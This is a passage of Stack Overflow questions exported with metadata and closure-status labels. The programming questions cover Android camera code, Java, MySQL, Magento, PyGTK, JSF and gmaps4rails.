ibCapture.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
mCamera.takePicture(null, null, mPicture);
}
});
// Add a listener to the Retake button
ibRetake.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
// Deleting the image from the SD card/
File discardedPhoto = new File(sdRoot, dir + fileName);
discardedPhoto.delete();
// Restart the camera preview.
mCamera.startPreview();
// Reorganize the buttons on the screen
// flBtnContainer.setVisibility(LinearLayout.VISIBLE);
ibRetake.setVisibility(LinearLayout.GONE);
ibUse.setVisibility(LinearLayout.GONE);
}
});
// Add a listener to the Use button
ibUse.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
// Everything is saved so we can quit the app.
finish();
}
});
}
private void createCamera() {
// Create an instance of Camera
mCamera = getCameraInstance();
// Setting the right parameters in the camera
Camera.Parameters params = mCamera.getParameters();
List<Camera.Size> sizes = params.getSupportedPictureSizes();
Log.v("SUPORTED SIZE IS>>>>>.", params.getSupportedPictureSizes() + "");
Log.v("SUPORTED SIZE IS>>>>>.", sizes.size() + "");
params.setPictureSize(1600, 1200);
params.setPictureFormat(PixelFormat.JPEG);
params.setJpegQuality(100);
mCamera.setParameters(params);
// Create our Preview view and set it as the content of our activity.
mPreview = new CameraPreview(this, mCamera);
RelativeLayout preview = (RelativeLayout) findViewById(R.id.camera_preview);
// Calculating the width of the preview so it is proportional.
float widthFloat = (float) (deviceHeight) * 4 / 3;
int width = Math.round(widthFloat);
RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(
LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT);
preview.setLayoutParams(layoutParams);
preview.addView(mPreview, 0);
}
@Override
protected void onResume() {
super.onResume();
createCamera();
sensorManager.registerListener(this,
sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
SensorManager.SENSOR_DELAY_NORMAL);
}
@Override
protected void onPause() {
super.onPause();
releaseCamera();
RelativeLayout preview = (RelativeLayout) findViewById(R.id.camera_preview);
preview.removeViewAt(0);
}
private void releaseCamera() {
if (mCamera != null) {
mCamera.release(); // release the camera for other applications
mCamera = null;
}
}
public static Camera getCameraInstance() {
Camera c = null;
try {
// attempt to get a Camera instance
c = Camera.open();
} catch (Exception e) {
// Camera is not available (in use or does not exist)
}
// returns null if camera is unavailable
return c;
}
private PictureCallback mPicture = new PictureCallback() {
public void onPictureTaken(byte[] data, Camera camera) {
ibRetake.setVisibility(View.VISIBLE);
ibUse.setVisibility(View.VISIBLE);
// File name of the image that we just took.
fileName = "IMG_"
+ new SimpleDateFormat("yyyyMMdd_HHmmss")
.format(new Date()).toString() + ".jpg";
File mkDir = new File(sdRoot, dir);
mkDir.mkdirs();
// Main file where to save the data that we recive from the camera
File pictureFile = new File(sdRoot, dir + fileName);
try {
FileOutputStream purge = new FileOutputStream(pictureFile);
purge.write(data);
purge.close();
} catch (FileNotFoundException e) {
Log.d("DG_DEBUG", "File not found: " + e.getMessage());
} catch (IOException e) {
Log.d("DG_DEBUG", "Error accessing file: " + e.getMessage());
}
try {
exif = new ExifInterface("/sdcard/" + dir + fileName);
exif.setAttribute(ExifInterface.TAG_ORIENTATION, ""
+ orientation);
exif.saveAttributes();
} catch (IOException e) {
e.printStackTrace();
}
}
};
/**
* Putting in place a listener so we can get the sensor data only when
* something changes.
*/
public void onSensorChanged(SensorEvent event) {
synchronized (this) {
if (event.sensor.getType() == Sensor.TYPE_ACCELEROMETER) {
RotateAnimation animation = null;
if (event.values[0] < 4 && event.values[0] > -4) {
if (event.values[1] > 0
&& orientation != ExifInterface.ORIENTATION_ROTATE_90) {
// UP
orientation = ExifInterface.ORIENTATION_ROTATE_90;
animation = getRotateAnimation(270);
degrees = 270;
} else if (event.values[1] < 0
&& orientation != ExifInterface.ORIENTATION_ROTATE_270) {
// UP SIDE DOWN
orientation = ExifInterface.ORIENTATION_ROTATE_270;
animation = getRotateAnimation(90);
degrees = 90;
}
} else if (event.values[1] < 4 && event.values[1] > -4) {
if (event.values[0] > 0
&& orientation != ExifInterface.ORIENTATION_NORMAL) {
// LEFT
orientation = ExifInterface.ORIENTATION_NORMAL;
animation = getRotateAnimation(0);
degrees = 0;
} else if (event.values[0] < 0
&& orientation != ExifInterface.ORIENTATION_ROTATE_180) {
// RIGHT
orientation = ExifInterface.ORIENTATION_ROTATE_180;
animation = getRotateAnimation(180);
degrees = 180;
}
}
if (animation != null) {
// rotatingImage.startAnimation(animation);
}
}
}
}
/**
* Calculating the degrees needed to rotate the image imposed on the button
* so it is always facing the user in the right direction
*
* @param toDegrees
* @return
*/
private RotateAnimation getRotateAnimation(float toDegrees) {
float compensation = 0;
if (Math.abs(degrees - toDegrees) > 180) {
compensation = 360;
}
// When the device is being held on the left side (default position for
// a camera) we need to add, not subtract from the toDegrees.
if (toDegrees == 0) {
compensation = -compensation;
}
// Creating the animation and the RELATIVE_TO_SELF means that he image
// will rotate on it center instead of a corner.
RotateAnimation animation = new RotateAnimation(degrees, toDegrees
- compensation, Animation.RELATIVE_TO_SELF, 0.5f,
Animation.RELATIVE_TO_SELF, 0.5f);
// Adding the time needed to rotate the image
animation.setDuration(250);
// Set the animation to stop after reaching the desired position. With
// out this it would return to the original state.
animation.setFillAfter(true);
return animation;
}
/**
* STUFF THAT WE DON'T NEED BUT MUST BE HEAR FOR THE COMPILER TO BE HAPPY.
*/
public void onAccuracyChanged(Sensor sensor, int accuracy) {
}
}
**CameraPreview.java**
public class CameraPreview extends SurfaceView implements SurfaceHolder.Callback {
private SurfaceHolder mHolder;
private Camera mCamera;
public CameraPreview(Context context, Camera camera) {
super(context);
mCamera = camera;
// Install a SurfaceHolder.Callback so we get notified when the
// underlying surface is created and destroyed.
mHolder = getHolder();
mHolder.addCallback(this);
// deprecated setting, but required on Android versions prior to 3.0
mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
mHolder.setSizeFromLayout();
mHolder.setFixedSize(100, 100);
}
public void surfaceCreated(SurfaceHolder holder) {
// The Surface has been created, now tell the camera where to draw the
// preview.
try {
mCamera.setPreviewDisplay(holder);
mCamera.startPreview();
} catch (IOException e) {
Log.d("DG_DEBUG", "Error setting camera preview: " + e.getMessage());
}
}
public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
// If your preview can change or rotate, take care of those events here.
// Make sure to stop the preview before resizing or reformatting it.
if (mHolder.getSurface() == null) {
// preview surface does not exist
return;
}
// stop preview before making changes
try {
mCamera.stopPreview();
} catch (Exception e) {
// ignore: tried to stop a non-existent preview
}
// make any resize, rotate or reformatting changes here
// start preview with new settings
try {
mCamera.setPreviewDisplay(mHolder);
mCamera.startPreview();
} catch (Exception e) {
Log.d("DG_DEBUG", "Error starting camera preview: " + e.getMessage());
}
}
public void surfaceDestroyed(SurfaceHolder holder) {
// empty. Take care of releasing the Camera preview in your activity.
}
}
**test.xml**
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent" >
<RelativeLayout
android:id="@+id/camera_preview"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:layout_alignParentTop="true"
android:layout_centerHorizontal="true" >
</RelativeLayout>
<RelativeLayout
android:id="@+id/relativeLayout1"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:layout_alignParentBottom="true"
android:layout_centerHorizontal="true"
android:layout_marginBottom="41dp" >
<Button
android:id="@+id/ibCapture"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignBottom="@+id/relativeLayout1"
android:layout_alignLeft="@+id/camera_preview"
android:text="Capture" />
<Button
android:id="@+id/ibRetake"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentTop="true"
android:layout_marginLeft="36dp"
android:layout_toRightOf="@+id/ibCapture"
android:text="ReTake" />
<Button
android:id="@+id/ibUse"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentRight="true"
android:layout_alignParentTop="true"
android:layout_marginRight="38dp"
android:text="Save" />
</RelativeLayout>
</RelativeLayout>
| 0 |
5,236,073 | 03/08/2011 17:29:57 | 480,105 | 10/19/2010 06:12:01 | 41 | 4 | Implement an Explecit Garbage Collection Algorithm in Java. | Yesterday i have just heard a lecture about garbage collection in java.["Basics of Garbage Collection"][1] on You Tube , so i was trying to implement my own garbage collection algorithm.So i just wanted to have any one implemented it.Is there a way to do it ? If yes can you please help me out with it.
Thanks
-Sagar S.
[1]: http://www.youtube.com/watch?v=rp8PvFvSO_c
| java | data-structures | garbage-collection | null | null | 03/08/2011 18:56:51 | not a real question | Implement an Explecit Garbage Collection Algorithm in Java.
===
Yesterday i have just heard a lecture about garbage collection in java.["Basics of Garbage Collection"][1] on You Tube , so i was trying to implement my own garbage collection algorithm.So i just wanted to have any one implemented it.Is there a way to do it ? If yes can you please help me out with it.
Thanks
-Sagar S.
[1]: http://www.youtube.com/watch?v=rp8PvFvSO_c
| 1 |
8,032,870 | 11/07/2011 04:55:20 | 927,986 | 09/04/2011 21:16:26 | 1 | 0 | how to send captured image by camera to a next view | I am trying to capture the image via camera and save that image in the directory and send that name of the image to an activity but it does not work.I want to capture an image first and save it in the directory and send that name of the image file to a activity.
package com.example;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.hardware.Camera;
import android.hardware.Camera.PictureCallback;
import android.hardware.Camera.ShutterCallback;
import android.os.Bundle;
import android.os.Environment;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.FrameLayout;
import android.widget.Toast;
public class CameraDemo extends Activity {
private static final String TAG = "CameraDemo";
Camera camera;
Preview preview;
Button buttonClick;
String imgName="img";
Intent intentImg;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
preview = new Preview(this);
((FrameLayout) findViewById(R.id.preview)).addView(preview);
buttonClick = (Button) findViewById(R.id.buttonClick);
buttonClick.setOnClickListener( new OnClickListener() {
public void onClick(View v) {
}
});
Log.d(TAG, "onCreate'd");
}
ShutterCallback shutterCallback = new ShutterCallback() {
public void onShutter() {
Log.d(TAG, "onShutter'd");
}
};
/** Handles data for raw picture */
PictureCallback rawCallback = new PictureCallback() {
public void onPictureTaken(byte[] data, Camera camera) {
Log.d(TAG, "onPictureTaken - raw");
}
};
/** Handles data for jpeg picture */
PictureCallback jpegCallback = new PictureCallback() {
public void onPictureTaken(byte[] data, Camera camera) {
Bitmap bitmapPicture = BitmapFactory.decodeByteArray(data,0,data.length);
File imageDirectory = new File(Environment.getExternalStorageDirectory() + File.separator + "surbeyImg");
imageDirectory.mkdirs();
File f = new File(Environment.getExternalStorageDirectory()
+ File.separator + "surbeyImg" + File.separator + imgName+".jpg");
try
{
f.createNewFile();
//write the bytes in file
FileOutputStream fo = new FileOutputStream(f);
fo.write(data);
} catch (IOException e)
{
e.printStackTrace();
}
intentImg = new Intent(CameraDemo.this, ShowImg.class);
intentImg.putExtra("img",imgName);
startActivity(intentImg);
}
};
}
this is preview class
----------------------------------------------------------------------------------------
package com.example;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.hardware.Camera;
import android.hardware.Camera.PreviewCallback;
import android.os.Environment;
import android.util.Log;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
class Preview extends SurfaceView implements SurfaceHolder.Callback {
private static final String TAG = "Preview";
SurfaceHolder mHolder;
public Camera camera;
Preview(Context context) {
super(context);
// Install a SurfaceHolder.Callback so we get notified when the
// underlying surface is created and destroyed.
mHolder = getHolder();
mHolder.addCallback(this);
mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
}
public void surfaceCreated(SurfaceHolder holder) {
// The Surface has been created, acquire the camera and tell it where
// to draw.
camera = Camera.open();
try {
camera.setPreviewDisplay(holder);
camera.setPreviewCallback(new PreviewCallback() {
public void onPreviewFrame(byte[] data, Camera arg1) {
Bitmap bitmapPicture = BitmapFactory.decodeByteArray(data,0,data.length);
File imageDirectory = new File(Environment.getExternalStorageDirectory() + File.separator + "surbeyImg");
imageDirectory.mkdirs();
File f = new File(Environment.getExternalStorageDirectory()
+ File.separator + "surbeyImg" + File.separator + "a.jpg");
try
{
f.createNewFile();
//write the bytes in file
FileOutputStream fo = new FileOutputStream(f);
fo.write(data);
} catch (IOException e)
{
e.printStackTrace();
} finally
{
}
Preview.this.invalidate();
}
});
} catch (IOException e) {
e.printStackTrace();
}
}
public void surfaceDestroyed(SurfaceHolder holder) {
// Surface will be destroyed when we return, so stop the preview.
// Because the CameraDevice object is not a shared resource, it's very
// important to release it when the activity is paused.
camera.stopPreview();
camera = null;
}
public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
// Now that the size is known, set up the camera parameters and begin
// the preview.
Camera.Parameters parameters = camera.getParameters();
parameters.setPreviewSize(w, h);
camera.setParameters(parameters);
camera.startPreview();
}
@Override
public void draw(Canvas canvas) {
super.draw(canvas);
Paint p= new Paint(Color.RED);
Log.d(TAG,"draw");
canvas.drawText("PREVIEW", canvas.getWidth()/2, canvas.getHeight()/2, p );
}
}
| android | null | null | null | null | null | open | how to send captured image by camera to a next view
===
I am trying to capture the image via camera and save that image in the directory and send that name of the image to an activity but it does not work.I want to capture an image first and save it in the directory and send that name of the image file to a activity.
package com.example;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.hardware.Camera;
import android.hardware.Camera.PictureCallback;
import android.hardware.Camera.ShutterCallback;
import android.os.Bundle;
import android.os.Environment;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.FrameLayout;
import android.widget.Toast;
public class CameraDemo extends Activity {
private static final String TAG = "CameraDemo";
Camera camera;
Preview preview;
Button buttonClick;
String imgName="img";
Intent intentImg;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
preview = new Preview(this);
((FrameLayout) findViewById(R.id.preview)).addView(preview);
buttonClick = (Button) findViewById(R.id.buttonClick);
buttonClick.setOnClickListener( new OnClickListener() {
public void onClick(View v) {
}
});
Log.d(TAG, "onCreate'd");
}
ShutterCallback shutterCallback = new ShutterCallback() {
public void onShutter() {
Log.d(TAG, "onShutter'd");
}
};
/** Handles data for raw picture */
PictureCallback rawCallback = new PictureCallback() {
public void onPictureTaken(byte[] data, Camera camera) {
Log.d(TAG, "onPictureTaken - raw");
}
};
/** Handles data for jpeg picture */
PictureCallback jpegCallback = new PictureCallback() {
public void onPictureTaken(byte[] data, Camera camera) {
Bitmap bitmapPicture = BitmapFactory.decodeByteArray(data,0,data.length);
File imageDirectory = new File(Environment.getExternalStorageDirectory() + File.separator + "surbeyImg");
imageDirectory.mkdirs();
File f = new File(Environment.getExternalStorageDirectory()
+ File.separator + "surbeyImg" + File.separator + imgName+".jpg");
try
{
f.createNewFile();
//write the bytes in file
FileOutputStream fo = new FileOutputStream(f);
fo.write(data);
} catch (IOException e)
{
e.printStackTrace();
}
intentImg = new Intent(CameraDemo.this, ShowImg.class);
intentImg.putExtra("img",imgName);
startActivity(intentImg);
}
};
}
this is preview class
----------------------------------------------------------------------------------------
package com.example;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.hardware.Camera;
import android.hardware.Camera.PreviewCallback;
import android.os.Environment;
import android.util.Log;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
class Preview extends SurfaceView implements SurfaceHolder.Callback {
private static final String TAG = "Preview";
SurfaceHolder mHolder;
public Camera camera;
Preview(Context context) {
super(context);
// Install a SurfaceHolder.Callback so we get notified when the
// underlying surface is created and destroyed.
mHolder = getHolder();
mHolder.addCallback(this);
mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
}
public void surfaceCreated(SurfaceHolder holder) {
// The Surface has been created, acquire the camera and tell it where
// to draw.
camera = Camera.open();
try {
camera.setPreviewDisplay(holder);
camera.setPreviewCallback(new PreviewCallback() {
public void onPreviewFrame(byte[] data, Camera arg1) {
Bitmap bitmapPicture = BitmapFactory.decodeByteArray(data,0,data.length);
File imageDirectory = new File(Environment.getExternalStorageDirectory() + File.separator + "surbeyImg");
imageDirectory.mkdirs();
File f = new File(Environment.getExternalStorageDirectory()
+ File.separator + "surbeyImg" + File.separator + "a.jpg");
try
{
f.createNewFile();
//write the bytes in file
FileOutputStream fo = new FileOutputStream(f);
fo.write(data);
} catch (IOException e)
{
e.printStackTrace();
} finally
{
}
Preview.this.invalidate();
}
});
} catch (IOException e) {
e.printStackTrace();
}
}
public void surfaceDestroyed(SurfaceHolder holder) {
// Surface will be destroyed when we return, so stop the preview.
// Because the CameraDevice object is not a shared resource, it's very
// important to release it when the activity is paused.
camera.stopPreview();
camera = null;
}
public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
// Now that the size is known, set up the camera parameters and begin
// the preview.
Camera.Parameters parameters = camera.getParameters();
parameters.setPreviewSize(w, h);
camera.setParameters(parameters);
camera.startPreview();
}
@Override
public void draw(Canvas canvas) {
super.draw(canvas);
Paint p= new Paint(Color.RED);
Log.d(TAG,"draw");
canvas.drawText("PREVIEW", canvas.getWidth()/2, canvas.getHeight()/2, p );
}
}
| 0 |
4,936,531 | 02/08/2011 17:57:55 | 247,095 | 01/09/2010 14:56:53 | 21 | 1 | Do apps using multiple processes share a Dalvik instance? | I'm studying Android process management and I'm wondering whether apps using multiple processes (not threads) share a Dalvik instance or there exists a Dalvik instance per process, even for the same app.
Could you point me to some official source (doc, talk, paper etc.)?
Thanks | android | process | dalvik | null | null | null | open | Do apps using multiple processes share a Dalvik instance?
===
I'm studying Android process management and I'm wondering whether apps using multiple processes (not threads) share a Dalvik instance or there exists a Dalvik instance per process, even for the same app.
Could you point me to some official source (doc, talk, paper etc.)?
Thanks | 0 |
10,630,467 | 05/17/2012 05:45:54 | 715,925 | 04/19/2011 20:12:54 | 18 | 2 | Create a subdomain facebook site | I would like to create a site on a facebook subdomain . How would i do it ?
Example:
http://facebook.e-motty.com/ ? | facebook | website | page | null | null | 05/18/2012 11:05:07 | off topic | Create a subdomain facebook site
===
I would like to create a site on a facebook subdomain . How would i do it ?
Example:
http://facebook.e-motty.com/ ? | 2 |
118,138 | 09/22/2008 23:04:07 | 13,564 | 09/16/2008 19:55:06 | 506 | 13 | How do I develop and create a self-contained PyGTK application bundle for MacOS, with native-looking widgets? | I have read that it is possible to [build GTK+ on MacOS X][1]. I know that it's possible to create a [bundle of a GTK+ application on MacOS][2]. I also know that it's possible to create widgets [that look sort of native][3]. However, searching around I am not really clear on how to create a bundle that includes the native theme stuff, and uses Python rather than its own C main-point. There are also rumors [that it's possible to build PyGTK][4], but it sounds like there might still be some wrinkles in that process.
However, there is no step-by-step guide that explains how one can set up an environment where an application might be run from Python source, then built and deployed in an app bundle. How can I go about doing that?
[1]: http://developer.imendio.com/projects/gtk-macosx/build-instructions
[2]: http://developer.imendio.com/projects/gtk-macosx/creating-app-bundles
[3]: http://people.imendio.com/richard/archives/2008/02/native_mac_them_1.html
[4]: http://developer.imendio.com/node/175 | python | osx | gtk | pygtk | null | null | open | How do I develop and create a self-contained PyGTK application bundle for MacOS, with native-looking widgets?
===
I have read that it is possible to [build GTK+ on MacOS X][1]. I know that it's possible to create a [bundle of a GTK+ application on MacOS][2]. I also know that it's possible to create widgets [that look sort of native][3]. However, searching around I am not really clear on how to create a bundle that includes the native theme stuff, and uses Python rather than its own C main-point. There are also rumors [that it's possible to build PyGTK][4], but it sounds like there might still be some wrinkles in that process.
However, there is no step-by-step guide that explains how one can set up an environment where an application might be run from Python source, then built and deployed in an app bundle. How can I go about doing that?
[1]: http://developer.imendio.com/projects/gtk-macosx/build-instructions
[2]: http://developer.imendio.com/projects/gtk-macosx/creating-app-bundles
[3]: http://people.imendio.com/richard/archives/2008/02/native_mac_them_1.html
[4]: http://developer.imendio.com/node/175 | 0 |
3,492,805 | 08/16/2010 11:50:48 | 359,616 | 06/06/2010 09:53:55 | 23 | 2 | thread in multi core processor | I have programm writting with C, and I want just only function in oher processor.
Does anyone know how to be thread-distribution for multi-core processors work?
Can a current thread running on the times one, sometimes on the other core, depending on how busy the nuclei
are straight?
Add Reply | multithreading | null | null | null | null | null | open | thread in multi core processor
===
I have programm writting with C, and I want just only function in oher processor.
Does anyone know how to be thread-distribution for multi-core processors work?
Can a current thread running on the times one, sometimes on the other core, depending on how busy the nuclei
are straight?
Add Reply | 0 |
4,652,330 | 01/10/2011 22:41:09 | 248,292 | 01/11/2010 18:41:47 | 38 | 1 | Cannot execute "LOAD DATA LOCAL INFILE" Mysql query in Rails after a connection reconnection | On Rails 2.3.8 (but I think Rails 3 might have this issue as well, not sure):
I get an error when trying to execute a `LOAD DATA LOCAL INFILE` query after reconnecting to a database. I have a process that parses a file that can potentially take a bit of time. During the parsing, Mysql closes the connection due to timeout. This is fine, I do a `ActiveRecord::Base.verify_active_connections!` and I get the connection back (I do this in several places through my app). However, running a `LOAD DATA LOCAL INFILE` statement, I get this error:
`Mysql::Error: The used command is not allowed with this MySQL version`
It's **not** a permission issue, I know that for sure. Check out my test in console:
<pre>
> ActiveRecord::Base.connection.execute("LOAD DATA LOCAL INFILE '/tmp/test.infile' INTO TABLE users")
[Sat Jan 08 00:09:29 2011] (9990) SQL (1.7ms) LOAD DATA LOCAL INFILE '/tmp/test.infile' INTO TABLE users
=> nil
> ActiveRecord::Base.connection.disconnect!
=> #<Mysql:0x104c6f890>
> ActiveRecord::Base.verify_active_connections!
[Sat Jan 08 00:09:58 2011] (9990) SQL (0.2ms) SET SQL_AUTO_IS_NULL=0
=> {...connection stuff...}
> ActiveRecord::Base.connection.execute("LOAD DATA LOCAL INFILE '/tmp/test.infile' INTO TABLE users")
[Sat Jan 08 00:10:00 2011] (9990) SQL (0.0ms) Mysql::Error: The used command is not allowed with this MySQL version: LOAD DATA LOCAL INFILE '/tmp/test.infile' INTO TABLE users
ActiveRecord::StatementInvalid: Mysql::Error: The used command is not allowed with this MySQL version: LOAD DATA LOCAL INFILE '/tmp/test.infile' INTO TABLE users
from ~/gems/activerecord-2.3.8/lib/active_record/connection_adapters/abstract_adapter.rb:221:in `log'
from ~/gems/activerecord-2.3.8/lib/active_record/connection_adapters/mysql_adapter.rb:323:in `execute'
from (irb):6
</pre>
I am able to do other queries like `SELECT` and whatnot, and I will get the correct result. It's just this one that giving me the error. I even tested this with a fresh rails app. You'll notice that I am able to do the exact same query _before_ the disconnect.
Thanks for the help! | mysql | ruby-on-rails | activerecord | null | null | 05/24/2012 17:28:06 | too localized | Cannot execute "LOAD DATA LOCAL INFILE" Mysql query in Rails after a connection reconnection
===
On Rails 2.3.8 (but I think Rails 3 might have this issue as well, not sure):
I get an error when trying to execute a `LOAD DATA LOCAL INFILE` query after reconnecting to a database. I have a process that parses a file that can potentially take a bit of time. During the parsing, Mysql closes the connection due to timeout. This is fine, I do a `ActiveRecord::Base.verify_active_connections!` and I get the connection back (I do this in several places through my app). However, running a `LOAD DATA LOCAL INFILE` statement, I get this error:
`Mysql::Error: The used command is not allowed with this MySQL version`
It's **not** a permission issue, I know that for sure. Check out my test in console:
<pre>
> ActiveRecord::Base.connection.execute("LOAD DATA LOCAL INFILE '/tmp/test.infile' INTO TABLE users")
[Sat Jan 08 00:09:29 2011] (9990) SQL (1.7ms) LOAD DATA LOCAL INFILE '/tmp/test.infile' INTO TABLE users
=> nil
> ActiveRecord::Base.connection.disconnect!
=> #<Mysql:0x104c6f890>
> ActiveRecord::Base.verify_active_connections!
[Sat Jan 08 00:09:58 2011] (9990) SQL (0.2ms) SET SQL_AUTO_IS_NULL=0
=> {...connection stuff...}
> ActiveRecord::Base.connection.execute("LOAD DATA LOCAL INFILE '/tmp/test.infile' INTO TABLE users")
[Sat Jan 08 00:10:00 2011] (9990) SQL (0.0ms) Mysql::Error: The used command is not allowed with this MySQL version: LOAD DATA LOCAL INFILE '/tmp/test.infile' INTO TABLE users
ActiveRecord::StatementInvalid: Mysql::Error: The used command is not allowed with this MySQL version: LOAD DATA LOCAL INFILE '/tmp/test.infile' INTO TABLE users
from ~/gems/activerecord-2.3.8/lib/active_record/connection_adapters/abstract_adapter.rb:221:in `log'
from ~/gems/activerecord-2.3.8/lib/active_record/connection_adapters/mysql_adapter.rb:323:in `execute'
from (irb):6
</pre>
I am able to do other queries like `SELECT` and whatnot, and I will get the correct result. It's just this one that giving me the error. I even tested this with a fresh rails app. You'll notice that I am able to do the exact same query _before_ the disconnect.
Thanks for the help! | 3 |
5,473,655 | 03/29/2011 13:53:10 | 243,181 | 01/04/2010 12:55:09 | 765 | 47 | Extend customer edit form to using tabs in Magento Admin | I need to add tabs to the customer group edit form, does anyone know how to do this? | php | php5 | magento | null | null | 05/11/2012 13:52:23 | not a real question | Extend customer edit form to using tabs in Magento Admin
===
I need to add tabs to the customer group edit form, does anyone know how to do this? | 1 |
4,384,402 | 12/08/2010 05:16:23 | 420,840 | 01/24/2010 02:48:27 | 375 | 7 | what is the useful of Python egg file . | when i `python setup.py install` django , it generate a egg file .
so what is the useful of Python egg file .
thanks | python | django | egg | null | null | null | open | what is the useful of Python egg file .
===
when i `python setup.py install` django , it generate a egg file .
so what is the useful of Python egg file .
thanks | 0 |
6,151,813 | 05/27/2011 11:47:52 | 773,011 | 05/27/2011 11:47:52 | 1 | 0 | JSF Cascading Style Sheet not applied when page redirected via listener | I have the follwing listener used via <f:event type="preRenderView" listener="#{sessionCheck.loginVerify}"/> in my jsf page:
public void loginVerify() {
try {
ExternalContext eCTX = FacesContext.getCurrentInstance().getExternalContext() ;
HttpServletRequest request = (HttpServletRequest) FacesContext.getCurrentInstance().getExternalContext().getRequest();
// eCTX.redirect(eCTX.getRequestContextPath() + "/index.xhtml");
eCTX.dispatch("/index.xhtml");
} catch (java.lang.Exception e) {}
}
However when I use redirect or disptach the style sheet is not applied to the index page.
The style sheet reference in index xhtml is:
<link href="#{facesContext.externalContext.requestContextPath}/resources/css/myStyles.css" rel="styleSheet" type="text/css"/>
I have tried adding the following style sheet ref but it made no difference:
<link href="/resources/css/m450.css" rel="styleSheet" type="text/css"/>
Has anyone had to solve such a problem please?
| jsf-2.0 | null | null | null | null | null | open | JSF Cascading Style Sheet not applied when page redirected via listener
===
I have the follwing listener used via <f:event type="preRenderView" listener="#{sessionCheck.loginVerify}"/> in my jsf page:
public void loginVerify() {
try {
ExternalContext eCTX = FacesContext.getCurrentInstance().getExternalContext() ;
HttpServletRequest request = (HttpServletRequest) FacesContext.getCurrentInstance().getExternalContext().getRequest();
// eCTX.redirect(eCTX.getRequestContextPath() + "/index.xhtml");
eCTX.dispatch("/index.xhtml");
} catch (java.lang.Exception e) {}
}
However when I use redirect or disptach the style sheet is not applied to the index page.
The style sheet reference in index xhtml is:
<link href="#{facesContext.externalContext.requestContextPath}/resources/css/myStyles.css" rel="styleSheet" type="text/css"/>
I have tried adding the following style sheet ref but it made no difference:
<link href="/resources/css/m450.css" rel="styleSheet" type="text/css"/>
Has anyone had to solve such a problem please?
| 0 |
2,738,147 | 04/29/2010 14:33:01 | 220,129 | 11/27/2009 16:11:09 | 306 | 7 | Change background colour of individual elements on the fly | Is there a way in CSS or JQuery where I can dynamically change the background of li tags so they get slightly lighter for each element until it gets to white.
For example say I had a list of 10 li elements. The first would have a red (#ff0000) background, the next one would then be a lighter shade of red, and so on and so on until we got to the last one which would have a background of white (#FFFFFF)
The list can be any length and i just want the background colour to go from one colour e.g. red to another colour e.g. white. My site uses JQuery so if I have to use that I don't mind.
Thanks | css | jquery-css | jquery | null | null | null | open | Change background colour of individual elements on the fly
===
Is there a way in CSS or JQuery where I can dynamically change the background of li tags so they get slightly lighter for each element until it gets to white.
For example say I had a list of 10 li elements. The first would have a red (#ff0000) background, the next one would then be a lighter shade of red, and so on and so on until we got to the last one which would have a background of white (#FFFFFF)
The list can be any length and i just want the background colour to go from one colour e.g. red to another colour e.g. white. My site uses JQuery so if I have to use that I don't mind.
Thanks | 0 |
5,857,306 | 05/02/2011 12:48:58 | 1,178,669 | 01/05/2010 08:17:25 | 3,248 | 174 | Is the ServletContext the preferred way to share resources among Servlets? | When I was looking for ways to share resources (e.g. a DataSource) between Servlets, most of the time using a ServletContextListener is proposed. Is this the standard way for sharing resources? Or are there alternatives? | java | gwt | servlets | java-ee | shared | null | open | Is the ServletContext the preferred way to share resources among Servlets?
===
When I was looking for ways to share resources (e.g. a DataSource) between Servlets, most of the time using a ServletContextListener is proposed. Is this the standard way for sharing resources? Or are there alternatives? | 0 |
11,373,344 | 07/07/2012 07:57:25 | 382,906 | 07/04/2010 01:40:57 | 2,807 | 68 | Twitter Bootstrap and gmaps4rails | I have the following view code and it dynamically adjusts its size for mobile phone as well as the desktop. However the map doesn't change size. Is there a way to make it so that the map changes size dynamically to fit on the phone/tablet/desktop using bootstrap? (see below)
.row
.span6.offset3
.well
= gmaps4rails(@maps_json)
![enter image description here][1]
